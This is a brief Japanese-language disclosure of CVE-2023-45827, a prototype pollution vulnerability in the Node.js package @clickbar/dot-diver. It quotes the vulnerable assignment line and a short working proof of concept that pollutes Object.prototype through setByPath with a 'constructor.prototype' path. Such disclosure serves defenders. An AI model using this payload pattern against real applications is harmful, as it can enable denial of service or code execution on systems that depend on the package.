CVE-2023-45827
CVSS : 9.8
Nov 3, 2023
node.jsパッケージにおけるProtoType Pollution
rebobプロジェクトの一環
これは、dot-diverにおけるPrototype Pollution(PP)の脆弱性です。RCEにつながる可能性があります。
脆弱なコード
//https://github.com/clickbar/dot-diver/tree/main/src/index.ts:277
//eslint-disable-next-line @typescript-eslint/no-unsafe-member-access
objectToSet[lastKey] = value
poc
import { getByPath, setByPath } from '@clickbar/dot-diver'
console.log({}.polluted); // undefined
setByPath({},'constructor.prototype.polluted', 'foo');
console.log({}.polluted); // foo
これはPrototype Pollution(PP)であり、DoS、RCEなどにつながる可能性があります。